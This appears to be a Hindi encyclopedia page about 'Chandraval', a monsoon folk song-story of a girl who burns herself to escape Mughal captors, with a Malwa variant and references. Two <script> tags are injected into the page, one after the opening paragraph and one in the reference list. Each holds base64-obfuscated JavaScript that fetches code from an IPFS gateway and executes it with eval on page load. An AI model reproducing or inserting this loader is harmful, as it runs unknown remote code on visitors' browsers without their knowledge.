चन्द्रावल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

चन्द्रावल अथवा 'चन्द्रावलि' सावन के दिनों में राजस्थान, कुरु प्रदेश, बुन्देलखंड और गंगा के मध्यवर्ती मैदान में प्रचलित एक गीत कथा है। किसी-न-किसी रूप में यह कथा प्राय: सभी जनपदों में उपलब्ध है।[1]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संक्षिप्त रूपरेखा

चन्द्रावल की रूपरेखा इस प्रकार है-

"एक दिन मुग़लों की सेना ने चन्द्रावलि के गाँव के निकट डेरा डाला। चन्द्रावलि माता के बरजने पर भी घड़ा लेकर पानी भरने पहुँची। मुग़लों ने उसे तम्बुओं के बीच डाल लिया। तब उसका पिता, भाई आदि बारी-बारी से उसे छुड़ाने के लिए मुग़लों के पास पहुँचे। चन्द्रावलि को उन्होंने नहीं छोड़ा। तब धोखे से चन्द्रावलि ने तम्बुओं में आग लगा दी और जल गयी।"

'चन्द्रावल' वस्तुत: चन्द्रावलि के सम्बन्ध में गेय गीतों के कथा-रूप की संज्ञा है। बुन्देलखण्ड में 'मथुरावली' के नाम से जो गीत-कथा गायी जाती है, उसकी कथावस्तु भी चन्द्रावल के अनुरूप ही है। केवल चन्द्रावलि कहीं-कहीं ब्याहता बतायी गयी है। वह अपने पति और ससुर की लाज रखने के लिए तथा पिता और भाई का मुख उज्ज्वल करने के लिए मुग़लों को समर्पित होने की अपेक्षा अग्नि की लपटों में अपनी आहुति देकर कथा को कारुणिक स्थिति में समाप्त करती है। पाठ-भेद की दृष्टि से शब्दों में यहाँ-वहाँ भेद स्वाभाविक है। कहीं मुग़लों के स्थान पर 'तुरुक' का प्रयोग है। इस प्रकार जलकर 'चन्द्रावल' या 'मथुरावली' कुल-पुरुषों की पगड़ी की लाज रखती है।[1]

'रोय चले बाकें साहिबा, बिहँस चले राजा बीर, राखी बहना पगड़ी की लाज, ठाड़ी जरै मथुरावलि।'[2]

उक्त गीत कथा श्रावण माह में झूले पर गायी जाती है। अनुमानत: गीत पाँच छ: शताब्दी से अधिक प्राचीन नहीं है।

मालवा में 'चन्द्रावल'

मालवा में 'चन्द्रावल' नामक एक और गीत-कथा 'दीपावली' के दूसरे दिन गायी जाती है। उसमें चन्द्रावलि एक गूजरी है, जो कृष्ण को अपने यहाँ आमंत्रित करती है। सेज पर छलिया कृष्ण ने चन्द्रावलि को बिलमाया और रात छ: माह की हो गयी। परिणामस्वरूप गौशाला में प्रतीक्षा करता हुआ उसका पति 'गोरधन' गायों के खुरों से कुचलकर मर गया। उसी की स्मृति में 'गोरधन' छापे जाते हैं और चन्द्रावल गाकर स्त्रियाँ लोकाचार पूर्ण करती हैं। भारतीय लोकगीतों में चन्द्रावलि नाम और भी कथा-प्रसंगों के बीच आता है। स्थूल रूप से मुग़लों के अत्याचारों से पीड़ित चन्द्रावलि ही 'चन्द्रवल' की नायिका है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 हिन्दी साहित्य कोश, भाग 1 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 243 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 'चन्द्रावलि'

संबंधित लेख